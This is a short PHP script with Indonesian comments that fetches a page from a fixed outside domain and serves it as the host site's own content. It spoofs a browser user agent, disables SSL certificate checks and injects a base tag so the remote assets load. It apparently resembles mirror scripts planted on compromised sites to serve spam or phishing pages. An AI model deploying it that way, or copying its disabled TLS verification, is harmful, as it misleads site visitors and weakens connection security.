<?php
declare(strict_types=1);

// ====================================
// KONFIGURASI
// ====================================
$target = 'https://buckdomain.vip/JETSUUU/ulti300-crpohs.com.co.html';

// ====================================
// FUNGSI CURL
// ====================================
function ambilHalaman(string $url): array
{
    if (!function_exists('curl_init')) {
        return [
            'success' => false,
            'html'    => '',
            'status'  => 0,
            'error'   => 'Ekstensi cURL tidak tersedia.'
        ];
    }

    $ch = curl_init();

    curl_setopt_array($ch, [
        CURLOPT_URL            => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS      => 10,
        CURLOPT_CONNECTTIMEOUT => 10,
        CURLOPT_TIMEOUT        => 30,
        CURLOPT_ENCODING       => '',
        CURLOPT_HEADER         => false,

        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
            . 'AppleWebKit/537.36 (KHTML, like Gecko) '
            . 'Chrome/149.0.0.0 Safari/537.36',

        CURLOPT_HTTPHEADER => [
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7',
            'Cache-Control: no-cache',
            'Pragma: no-cache',
            'Connection: close'
        ],

        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);

    $html   = curl_exec($ch);
    $status = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error  = curl_error($ch);

    curl_close($ch);

    return [
        'success' => is_string($html) && strlen(trim($html)) > 100,
        'html'    => is_string($html) ? $html : '',
        'status'  => $status,
        'error'   => $error
    ];
}

// ====================================
// AMBIL KONTEN
// ====================================
$result = ambilHalaman($target);

if (!$result['success']) {
    http_response_code(502);
    header('Content-Type: text/plain; charset=UTF-8');
    header('X-Content-Type-Options: nosniff');

    error_log(
        'Mirror gagal. HTTP: '
        . $result['status']
        . ' Error: '
        . $result['error']
    );

    exit('Mirror tidak tersedia');
}

$html = $result['html'];

// ====================================
// BASE URL UNTUK CSS, JS, DAN GAMBAR
// ====================================
$parsed = parse_url($target);

$scheme = $parsed['scheme'] ?? 'https';
$host   = $parsed['host'] ?? '';
$port   = isset($parsed['port']) ? ':' . $parsed['port'] : '';
$path   = $parsed['path'] ?? '/';

$directory = rtrim(str_replace('\\', '/', dirname($path)), '/');
$baseUrl   = $scheme . '://' . $host . $port . $directory . '/';

$baseTag = '<base href="'
    . htmlspecialchars($baseUrl, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8')
    . '">';

if (stripos($html, '<base ') === false) {
    $jumlah = 0;

    $html = preg_replace(
        '/<head([^>]*)>/i',
        '<head$1>' . $baseTag,
        $html,
        1,
        $jumlah
    );

    if ($jumlah === 0) {
        $html = $baseTag . $html;
    }
}

// ====================================
// OUTPUT
// ====================================
http_response_code(200);

header('Content-Type: text/html; charset=UTF-8');
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
header('X-Content-Type-Options: nosniff');

echo $html;
exit;